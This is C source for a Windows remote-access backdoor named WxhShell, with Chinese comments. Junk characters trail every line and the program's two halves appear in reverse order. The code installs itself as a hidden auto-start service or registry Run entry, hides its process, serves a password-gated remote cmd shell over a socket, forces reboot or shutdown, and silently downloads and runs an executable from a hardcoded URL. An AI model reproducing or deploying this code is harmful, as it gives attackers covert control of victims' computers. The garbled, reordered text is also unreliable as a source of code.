    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); qs3V2lvYw{  
    if(Boot(SHUTDOWN)) ; G4g;YHy|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6I-Qq?L[H  
    else { Z3N^)j8  
    closesocket(wsh); ';KZ.D  
    ExitThread(0); !"bU|a  
    } d#u*NwY}  
    break; [_1K1i"m  
    } QRz5eGpW  
  // 获取shell cjc1iciZ  
  case 's': { #OVS]Asn}  
    CmdShell(wsh); AR6hfdDDT  
    closesocket(wsh); SxW.dT8{  
    ExitThread(0); { v#wU  
    break; p{w:^l(  
  } 9IJc9Sv(  
  // 退出 ANlzF& K  
  case 'x': { ^wMZG'/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )5Ofr-Y  
    CloseIt(wsh); wG",Obja  
    break; r%vO^8FQ  
    } _)-y&  
  // 离开 FGu#Pa  
  case 'q': { I2e@_[ 1  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Zz^!QlF  
    closesocket(wsh); 6&[rA TU+  
    WSACleanup(); >/9on.  
    exit(1); #KwK``XC 4  
    break; e8VtKVcY  
        } ]udH`{]  
  } j[Oh>yG  
  } lj"72   
` l}+BI`4  
  // 提示信息 Hi#f Qji  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \) vI-  
} O"m(C[+ [  
  } ~s -"u *>  
^u$?& #  
  return; +|6 u 0&R^  
} 7|^5E*8/  
m!^z{S  
// shell模块句柄 J:G~9~V^  
int CmdShell(SOCKET sock) !z |a+{  
{ r"x/,!_E  
STARTUPINFO si; xOBzT&  
ZeroMemory(&si,sizeof(si)); xL} ~R7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N)o/}@]6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; WQ)vu&;  
PROCESS_INFORMATION ProcessInfo; /rZ`e'}  
char cmdline[]="cmd"; uYAMW{AT  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); taqmtXU=(  
  return 0; v)-:0 f  
} } TsND6Ws3  
N^xk.O_TO  
// 自身启动模式 ZmzYJ$:6  
int StartFromService(void) ]2@g 5H}M  
{ <v[UYvZvY  
typedef struct e2vL UlL8  
{ hWfC"0  
  DWORD ExitStatus; Bxs0m]  
  DWORD PebBaseAddress; g"|Z1iy|9  
  DWORD AffinityMask; uM74X^U  
  DWORD BasePriority; 9 t o2V  
  ULONG UniqueProcessId; sq1v._^s  
  ULONG InheritedFromUniqueProcessId; LL7un_EC  
}   PROCESS_BASIC_INFORMATION; ,c.(&@  
6[SE*/E@L  
PROCNTQSIP NtQueryInformationProcess; V;%DS)-  
$C`YVv%?0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )R5=GHmL  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _0 $W;8X  
Q|i`s=|  
  HANDLE             hProcess; U[WR?J4~LX  
  PROCESS_BASIC_INFORMATION pbi; ZGbY  
7B8.;0X$W  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); xa$p,_W:'  
  if(NULL == hInst ) return 0; 1 -:{&!  
Nx^r&pr  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $hE,BeQ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4Up \_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); VVVw\|JB>  
n|Smy\0  
  if (!NtQueryInformationProcess) return 0; qe_59'K  
Df_*W"(v  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); v*VId l>  
  if(!hProcess) return 0; |8s45g>  
`8<h aU  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; d>r_a9 .u  
-eSZpzp  
  CloseHandle(hProcess); H;=++Dh  
V1!;Hvm]+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $ ";NS6 1  
if(hProcess==NULL) return 0; ,~^BoH}  
4E~!$Ustx  
HMODULE hMod; cO^}A(Ma(  
char procName[255]; vivU4:uH3  
unsigned long cbNeeded; cs6I K6wo  
fjwUh>[ }  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); l d@B  
?)i`)mu'  
  CloseHandle(hProcess); +Oa+G.;)o4  
\CDzVO0^  
if(strstr(procName,"services")) return 1; // 以服务启动 [Adkj  
/O/pAu>  
  return 0; // 注册表启动 b i 8Qbo4  
} q/l@J3p[qm  
ji :E  
// 主模块 6y d/3k  
int StartWxhshell(LPSTR lpCmdLine) >y7|@'V[v0  
{ @/yJTMcf  
  SOCKET wsl; f1}am<  
BOOL val=TRUE; dB%q`7O  
  int port=0; <sNk yQ  
  struct sockaddr_in door; 'hn=X7  
b2p;-rv  
  if(wscfg.ws_autoins) Install(); z=/xv},  
0^ IHBN?9  
port=atoi(lpCmdLine); j\9v1O!T  
0z1UF{{  
if(port<=0) port=wscfg.ws_port; C. rLog#  
=SqI# v  
  WSADATA data; dOfEEqPI  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; f~{@(g&Gl  
vx&r  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ZlxJY%o eu  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); B^C!UWN>%X  
  door.sin_family = AF_INET; Z+?V10$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); rs?"pGz;  
  door.sin_port = htons(port); d|?'yX  
Fs|aH-9\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !W3bHy:C"  
closesocket(wsl); 1O{x9a5Z?O  
return 1; ck"lX[d1  
} _Boe"   
Nt^9N #+N  
  if(listen(wsl,2) == INVALID_SOCKET) { j4hiMI;  
closesocket(wsl); ?!$uMKyt  
return 1; AO "pm  
} }&I^1BHZs  
  Wxhshell(wsl); |&hu3-(  
  WSACleanup(); (&y~\t] H  
A,4|UA?-  
return 0; +zz\*  
sMhUVc4  
} 4?3*%_bDJ,  
B-`,h pp  
// 以NT服务方式启动 O%KP,q&}Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) P$=BmBq18`  
{ qbwX*E~ ;  
DWORD   status = 0; ;jEDGKLq  
  DWORD   specificError = 0xfffffff; Q#} 0pq  
S3oSc<&2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;Uxr+,x~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @TTB$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |_7AN!7j  
  serviceStatus.dwWin32ExitCode     = 0; `?H yDny  
  serviceStatus.dwServiceSpecificExitCode = 0; 5[py{Gq  
  serviceStatus.dwCheckPoint       = 0; uN)o|7  
  serviceStatus.dwWaitHint       = 0; !N@d51T=N  
-/O_wqm#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); XYM 5'  
  if (hServiceStatusHandle==0) return; j m]d:=4_  
eA$wJ$*   
status = GetLastError(); }eO{+{D +  
  if (status!=NO_ERROR) o JLpFL  
{ `<z"BGQ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; S-$N!G~!  
    serviceStatus.dwCheckPoint       = 0; aU)NbESu  
    serviceStatus.dwWaitHint       = 0; ])sIQ{P  
    serviceStatus.dwWin32ExitCode     = status; 5ZXP$.  
    serviceStatus.dwServiceSpecificExitCode = specificError; `=zlS"dQ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); W8$ky[2R  
    return; !FqJP OGm  
  } :U}.  
p:GB"e9>H  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [vJLj>@  
  serviceStatus.dwCheckPoint       = 0; xxsax/h  
  serviceStatus.dwWaitHint       = 0; "\x<Zg;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /5l"rni   
} w Bi'KS  
xE2sb*  
// 处理NT服务事件,比如:启动、停止 KXQ &u{[<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 'nrX RDb  
{ mip2=7M|C  
switch(fdwControl) /oWn0  
{ /3VSO"kcZ  
case SERVICE_CONTROL_STOP: oV(|51(f  
  serviceStatus.dwWin32ExitCode = 0; ~`uEZ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; RWe$ZZSz!  
  serviceStatus.dwCheckPoint   = 0; bK\Mn95]  
  serviceStatus.dwWaitHint     = 0; _\d[`7#  
  { Vw^2TRU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Mj guH5Uy  
  } x'4q`xDa  
  return; 2~*J<iO&l  
case SERVICE_CONTROL_PAUSE: -|"[S"e  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; kkyi`_ZKn  
  break; ``zgw\f[%  
case SERVICE_CONTROL_CONTINUE: uX!5G:x]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ko2T9NI:S  
  break; ?=bqya"Y  
case SERVICE_CONTROL_INTERROGATE: =02$Dwr  
  break; [{i"Au]  
}; )}/ ycTs  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n0ZrgTVJ  
} K-a~Kr  
<Z nVWER  
// 标准应用程序主函数 L[|($vQ"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /#lqv)s'  
{ StuQ}  
y.xyr"-Q  
// 获取操作系统版本 QgR3kc^7/  
OsIsNt=GetOsVer(); )g()b"Z #>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); SH009@l_8  
F&Bh\C)]  
  // 从命令行安装 r+0<A.''a  
  if(strpbrk(lpCmdLine,"iI")) Install(); Z}8khNCYr  
y:m ;_U,%c  
  // 下载执行文件 +;T `uOF}  
if(wscfg.ws_downexe) { &}:]uC  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;*H@E(g  
  WinExec(wscfg.ws_filenam,SW_HIDE); D?Mj<||  
} hR g?H  
/:+f5\"-b  
if(!OsIsNt) { j$<sq  
// 如果时win9x,隐藏进程并且设置为注册表启动 Z7="on4  
HideProc(); yDE0qUO  
StartWxhshell(lpCmdLine); |#>:@{X<  
} Xxz_h*  
else >!U oS  
  if(StartFromService()) `GBa3  
  // 以服务方式启动 '4"9f]:  
  StartServiceCtrlDispatcher(DispatchTable); `X:o]t@  
else } xy>uT  
  // 普通方式启动 ?ZqvR^  
  StartWxhshell(lpCmdLine); P[G.LO  
As y&X  
return 0; "CX@a"  
} uZg[PS=@!X  
~l^Q~W-+  
mB.j?@Y%  
MXsCm(  
=========================================== mBrH`!  
@U 6jd4?)  
+sW;p?K7eO  
mw\ z'  
:j)v=qul  
v7h!'U[/  
" =hP7 Hea(N  
{\-9^RL  
#include <stdio.h> &2P+9j>  
#include <string.h> M3 TsalF  
#include <windows.h> xk#q_!(j  
#include <winsock2.h>  v<_wf  
#include <winsvc.h> x}tg/` .=z  
#include <urlmon.h> v>[U*E  
w YEkWB^  
#pragma comment (lib, "Ws2_32.lib") &c|3v!  
#pragma comment (lib, "urlmon.lib") $M0F~x  
 UZV\]Y  
#define MAX_USER   100 // 最大客户端连接数 qdOUvf  
#define BUF_SOCK   200 // sock buffer _<8~CWo:  
#define KEY_BUFF   255 // 输入 buffer qDV t  
@mJ# ~@*(  
#define REBOOT     0   // 重启 e2dg{n$6"  
#define SHUTDOWN   1   // 关机 f i_'Ny>#  
r=J+  
#define DEF_PORT   5000 // 监听端口 R/O>^s!Co  
!bq3c(d  
#define REG_LEN     16   // 注册表键长度 ;h-W&i7  
#define SVC_LEN     80   // NT服务名长度 ,(@JNtx  
t/kMV6  
// 从dll定义API w<P$)~6  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); wAvnj  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *6` };ASK  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); BKV,V/*p  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); . XVW2ISv  
it#,5#Y:  
// wxhshell配置信息 \ ";^nk*  
struct WSCFG { n9w(Z=D\  
  int ws_port;         // 监听端口 k vQ] }`a  
  char ws_passstr[REG_LEN]; // 口令 V#P`FX  
  int ws_autoins;       // 安装标记, 1=yes 0=no eVetG,["  
  char ws_regname[REG_LEN]; // 注册表键名 'Zket=Sm;  
  char ws_svcname[REG_LEN]; // 服务名 r3BQo[ 't  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 y"L7.B  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 og~Uv"&?T  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0#d:<+4D  
int ws_downexe;       // 下载执行标记, 1=yes 0=no l(<=JUO;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6 6%_p]U  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =>LQW;Sjz  
uE]Z,`e  
}; * q$O6B-  
A hCqQ.O71  
// default Wxhshell configuration >* )fmfY  
struct WSCFG wscfg={DEF_PORT, fN!lXPgM  
    "xuhuanlingzhe", ZYexW=@  
    1, GL^84[f-T  
    "Wxhshell", #1z/rUh`Cr  
    "Wxhshell",  T1\@4x  
            "WxhShell Service", O!U8"Yr$  
    "Wrsky Windows CmdShell Service", `:Bm@eN  
    "Please Input Your Password: ", 7/969h^s  
  1, us7t>EMmB  
  "http://www.wrsky.com/wxhshell.exe", }HKt{k&$  
  "Wxhshell.exe" r1A<XP|1?I  
    }; 49Q tfk  
q(9S4F   
// 消息定义模块 +td]g9Ie  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  %ZR<z$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; gy*c$[NS$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _)%Sz"g^Ix  
char *msg_ws_ext="\n\rExit."; 4/?@ %  
char *msg_ws_end="\n\rQuit."; ec sQshR  
char *msg_ws_boot="\n\rReboot..."; Re<@ .d  
char *msg_ws_poff="\n\rShutdown..."; |6O7_U#q  
char *msg_ws_down="\n\rSave to "; uf/4vz,  
2CY4nS KW  
char *msg_ws_err="\n\rErr!"; &~K4I  
char *msg_ws_ok="\n\rOK!"; #7r13$>!  
]5',`~jkF  
char ExeFile[MAX_PATH]; 8fSY@  
int nUser = 0; =MjkD)l  
HANDLE handles[MAX_USER]; N!~5S`  
int OsIsNt; W' Y?X]xr  
}Sr=|j  
SERVICE_STATUS       serviceStatus; ) -^(Su(!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @j`gx M_-O  
?e#bq]  
// 函数声明 =3dR-3  
int Install(void); *w`_(X f  
int Uninstall(void); s|[CvjL#0  
int DownloadFile(char *sURL, SOCKET wsh); w\zNn4B})A  
int Boot(int flag); +/n<]?(T  
void HideProc(void); _PPn =kuMa  
int GetOsVer(void); EGysA{o"X  
int Wxhshell(SOCKET wsl); UGDB4S  
void TalkWithClient(void *cs); Ow50M;E  
int CmdShell(SOCKET sock); WI6h G  
int StartFromService(void); X8\UTHT& 0  
int StartWxhshell(LPSTR lpCmdLine); { u %xc"0y  
%}}?Y`/W )  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); x+8%4]u`  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); p~3 (nk<+  
^r@,(r6w  
// 数据结构和表定义 `Fx+HIng,  
SERVICE_TABLE_ENTRY DispatchTable[] = H#/Hs#  
{ ;-Ki`x.oJ  
{wscfg.ws_svcname, NTServiceMain}, Jq*Q;}n  
{NULL, NULL} wA2^ I70-  
}; 7ND4Booul  
{l9gYA  
// 自我安装 r7jh)Q;BbR  
int Install(void) GCj[ySCD  
{ ' >k1h.i  
  char svExeFile[MAX_PATH]; yXT.]%)  
  HKEY key; +.-g`Vyz*  
  strcpy(svExeFile,ExeFile); cb5T-'hY  
-x VZm8y  
// 如果是win9x系统,修改注册表设为自启动 tNG[|Bi#  
if(!OsIsNt) { BIXbdo5F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O<P(UT"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W+I""I*mV  
  RegCloseKey(key); bk|?>yd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !<vy!pXg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /d*[za'0  
  RegCloseKey(key); L_Xbca=  
  return 0; nIWY<Z"  
    } Vtv~jJ{m  
  } ]YrgkC35  
} D!V~g72j  
else { `4-N@h  
RpwDOG  
// 如果是NT以上系统,安装为系统服务 U'LPaf$O  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); kD me>E=  
if (schSCManager!=0) t\WU}aKML  
{ fb[? sc  
  SC_HANDLE schService = CreateService b#( X+I  
  ( tTb fyI  
  schSCManager, NXMZTZpB7  
  wscfg.ws_svcname, nyL$z-I)  
  wscfg.ws_svcdisp, N$.=1Q$F6  
  SERVICE_ALL_ACCESS, _H"_&m$aDm  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !n<SpW;  
  SERVICE_AUTO_START, +xS<^;   
  SERVICE_ERROR_NORMAL, ~NTKWRaR  
  svExeFile, zm mkmTp  
  NULL, }ag;yf;  
  NULL, Gc_KS'K@$  
  NULL, AO,^v+ $  
  NULL, VA @  
  NULL .cz7jD  
  ); wUfm)Q#  
  if (schService!=0) G2&,R{L6w  
  { b$sT`+4q  
  CloseServiceHandle(schService); SmUiH9qNd,  
  CloseServiceHandle(schSCManager); QYEGiT   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?-'GbOr!  
  strcat(svExeFile,wscfg.ws_svcname); <m,bP c :R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { = \M6s  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); n?QglN  
  RegCloseKey(key); K7t_Q8  
  return 0; aF[#(PF  
    } Sq x'nXgO  
  } Te`MIR  
  CloseServiceHandle(schSCManager); LRR)T: e}q  
} ?CldcxM#  
} ( 6ucA  
|-TxX:O-  
return 1; WidLUv   
} y!T8(  
,n`S ,  
// 自我卸载 uR.`8s|  
int Uninstall(void) MeYu  
{ %I;uqf  
  HKEY key; ?:6w6GwAA  
yQ !keGj  
if(!OsIsNt) { N|%X/UjZ2.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  `7oYXk  
  RegDeleteValue(key,wscfg.ws_regname); )"]( ?V  
  RegCloseKey(key); a1EQ.u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w~3z) ;  
  RegDeleteValue(key,wscfg.ws_regname); "5v^6R9e  
  RegCloseKey(key); J&bMox  
  return 0; :`c@&WF8  
  } f?TS#jG4}  
} ( j:eky  
} @ V_i%=go  
else { |d,bo/:  
n(.L=VuXn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); U,lO{J[T  
if (schSCManager!=0) +1r><do;  
{ TAq[g|N-;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); g>g*1oS  
  if (schService!=0) )2 b-3lz  
  { 2Z?l,M~  
  if(DeleteService(schService)!=0) { $&Z<4:Flc  
  CloseServiceHandle(schService); j8%Y[:~D  
  CloseServiceHandle(schSCManager); nUK;M[  
  return 0; gYloY=.Z$'  
  } gX| \O']6  
  CloseServiceHandle(schService); >vXS6`;  
  } ^a$L9p(  
  CloseServiceHandle(schSCManager); 8tO.o\)h  
} q{+}0!o  
} TPLv]$n  
O)"Z%B  
return 1; lYey7tl{  
} 6n;? :./  
4%4Yqx )  
// 从指定url下载文件 4y!GFhMh  
int DownloadFile(char *sURL, SOCKET wsh) ^V7)V)Z;0  
{ |pBvy1e4)  
  HRESULT hr; t^2$ent  
char seps[]= "/"; >Bu _NoM  
char *token; wxN&k$`a  
char *file; `|PhXr  
char myURL[MAX_PATH]; NN5G '|i  
char myFILE[MAX_PATH]; 0Hx'C^m72  
5RP5%U  
strcpy(myURL,sURL); E,fbIyX  
  token=strtok(myURL,seps); qTN30(x2  
  while(token!=NULL) +O)ZB$w4  
  { a5&[O  
    file=token; A-*MH#QUKh  
  token=strtok(NULL,seps); ^gkKk&~A5?  
  } e7tio!  
N4b{^JkF  
GetCurrentDirectory(MAX_PATH,myFILE); ,(]k)ym/  
strcat(myFILE, "\\"); .KtK<Ps[S  
strcat(myFILE, file); m*\LO%s]E  
  send(wsh,myFILE,strlen(myFILE),0); xe9\5Gb}  
send(wsh,"...",3,0); x3F94+<n{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,c 0]r;u!  
  if(hr==S_OK) 5bd4]1 gj  
return 0; VV sE]7P ]  
else uJ8FzS>[V  
return 1; 1^ iLs  
(j(9'DjP  
} O-box?  
y'n<oSB}  
// 系统电源模块 DiZ;FHnaG?  
int Boot(int flag) @!|h!p;  
{ J% ZM V  
  HANDLE hToken; F5OQM?J  
  TOKEN_PRIVILEGES tkp; 0_,un^  
{bG.X?b  
  if(OsIsNt) { :&LV^ A  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "ZA`Lp;%w  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _ q AT%.  
    tkp.PrivilegeCount = 1; ~f( #S*Ic  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "!uS!BI?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); T5}5uk9  
if(flag==REBOOT) { g|h;*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Z_7TD)  
  return 0; $"k1^&&E  
} %NfH`%`  
else { 02)Ybp6y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +UX} "m~W  
  return 0; 2sVDv@2  
} ?}S!8;d  
  } 6WoFf  
  else { wUfPnAD.'  
if(flag==REBOOT) { E^m)&.+'M  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /<dl"PWkJv  
  return 0; C;#gy-  
} %eGD1.R  
else { M'oQ<,yW-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Xn5LrLM&  
  return 0; c{39,oF  
} j 20m Z  
} ) q/brCq  
xK4E+^ b  
return 1; |CK/-UG}  
} )Y"t$Iw"  
`6LV XDR  
// win9x进程隐藏模块 3$BO=hI/-  
void HideProc(void) jS5K:yx<  
{ '#~Sb8   
z6h/C {  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]BTISaL-R  
  if ( hKernel != NULL ) u'gsIuRJ  
  { Q5IN1 ^=HF  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); QUF1_Sa  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); " Lh XR  
    FreeLibrary(hKernel); |/Y!R>El  
  } }:1qK67S  
VTi; y{  
return; @&9< )1F  
} 84s:cO  
/b6j<]H  
// 获取操作系统版本 PWfd<Yf!  
int GetOsVer(void) BZjL\{IW  
{ W 9bpKmc  
  OSVERSIONINFO winfo; w(ic$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); w;J#+ik  
  GetVersionEx(&winfo); yA`,ns&n  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :K(+ KN(  
  return 1; f917F.1 I  
  else k9c`[M  
  return 0; Z'm( M[2K  
} D2io3Lo$ov  
}/g1  
// 客户端句柄模块 G {a;s-OA3  
int Wxhshell(SOCKET wsl) Yi19VU|/  
{ G B>T3l"  
  SOCKET wsh; Bma.Uln  
  struct sockaddr_in client; "IWL& cH3  
  DWORD myID; w"A>mEex<  
"c![s%  
  while(nUser<MAX_USER) 9Z3Vf[n5\  
{ W=2]!%3#  
  int nSize=sizeof(client); ;)sC{ "Jb  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5 L-6@@/  
  if(wsh==INVALID_SOCKET) return 1; fvG4K(  
L_!}R  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6U]r3 Rr  
if(handles[nUser]==0) -NDB.~E^DJ  
  closesocket(wsh); ytV4qU82G  
else ~$7YEs)  
  nUser++; ^HHT>K-m  
  } |voZ0U  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); fOk(ivYy  
yPH5/5;,  
  return 0; !T}R=;)e h  
} *4l6+#W  
e C&!yY2g  
// 关闭 socket 0 Gq<APtr  
void CloseIt(SOCKET wsh) &*~_ "WyU  
{ ^n\g,  
closesocket(wsh); #Q|ACNpYM  
nUser--; 1NK,:m  
ExitThread(0); 3:b5#c?R-  
} 4c.!^EiV  
0X%#9s ~  
// 客户端请求句柄 `>0(N.'T  
void TalkWithClient(void *cs) |Lc.XxBkc  
{ 5g2:o^  
l585L3i  
  SOCKET wsh=(SOCKET)cs; }w)wW1&  
  char pwd[SVC_LEN]; 6O'Y@9#  
  char cmd[KEY_BUFF]; }jg,[jw_"X  
char chr[1]; *C^TCyBK;  
int i,j; 6h\; U5  
sT91>'&  
  while (nUser < MAX_USER) { 5J3K3  
[kI[qByf  
if(wscfg.ws_passstr) { ,4(m.P10  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?jnbm'~S  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \K:?#07Wj4  
  //ZeroMemory(pwd,KEY_BUFF); ?6:e%YT  
      i=0; jf& oN]sZ  
  while(i<SVC_LEN) { Ystd[  
hTQ]xN)  
  // 设置超时 e ,A9N%M  
  fd_set FdRead; @%6"xnb `  
  struct timeval TimeOut; u/5)Yx+5_  
  FD_ZERO(&FdRead); DF"*[]^[  
  FD_SET(wsh,&FdRead); So#>x5dL  
  TimeOut.tv_sec=8; ~B`H5#  
  TimeOut.tv_usec=0; 1*B'o<?P1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .L_ Hk  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $XFFNE`%  
No]#RvEd3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fc%C!^7  
  pwd=chr[0]; d ewN\  
  if(chr[0]==0xd || chr[0]==0xa) { <@qJsRbhK  
  pwd=0; h9+ 7 6  
  break; <{.pYrn  
  } H`T}k+e2-N  
  i++; wgZ6|)!0  
    } /tqe:*  
$XrX(l5  
  // 如果是非法用户,关闭 socket 7nbaR~ZV  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  e:6mz\J  
} lq)[  
cUU"*bA#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {JW_ZJx  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9 NqZ&S  
4aG}ex-s|  
while(1) { w-``kID  
RIF*9=,S  
  ZeroMemory(cmd,KEY_BUFF); L>,xG.oG  
M =GF@C;b  
      // 自动支持客户端 telnet标准   (}CA?/  
  j=0; "D ivsq^  
  while(j<KEY_BUFF) { 0y/P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iM{cr&0  
  cmd[j]=chr[0]; <;NxmO<%\  
  if(chr[0]==0xa || chr[0]==0xd) { :Y&h'FGZm  
  cmd[j]=0; ;7g~4Uv4}  
  break; <J!?eH9f  
  } r6}-EYq=  
  j++; |TuFx=~5v  
    } "%+9p6/  
\0^Je>-:U  
  // 下载文件 !A"-9OS2  
  if(strstr(cmd,"http://")) { 8jgamG  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !GZ{UmwA  
  if(DownloadFile(cmd,wsh)) 'zYx4&s  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); CSMx]jbb  
  else R9%"Kxm  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N1'$;9 c  
  }  lmB+S  
  else { FJ O- p  
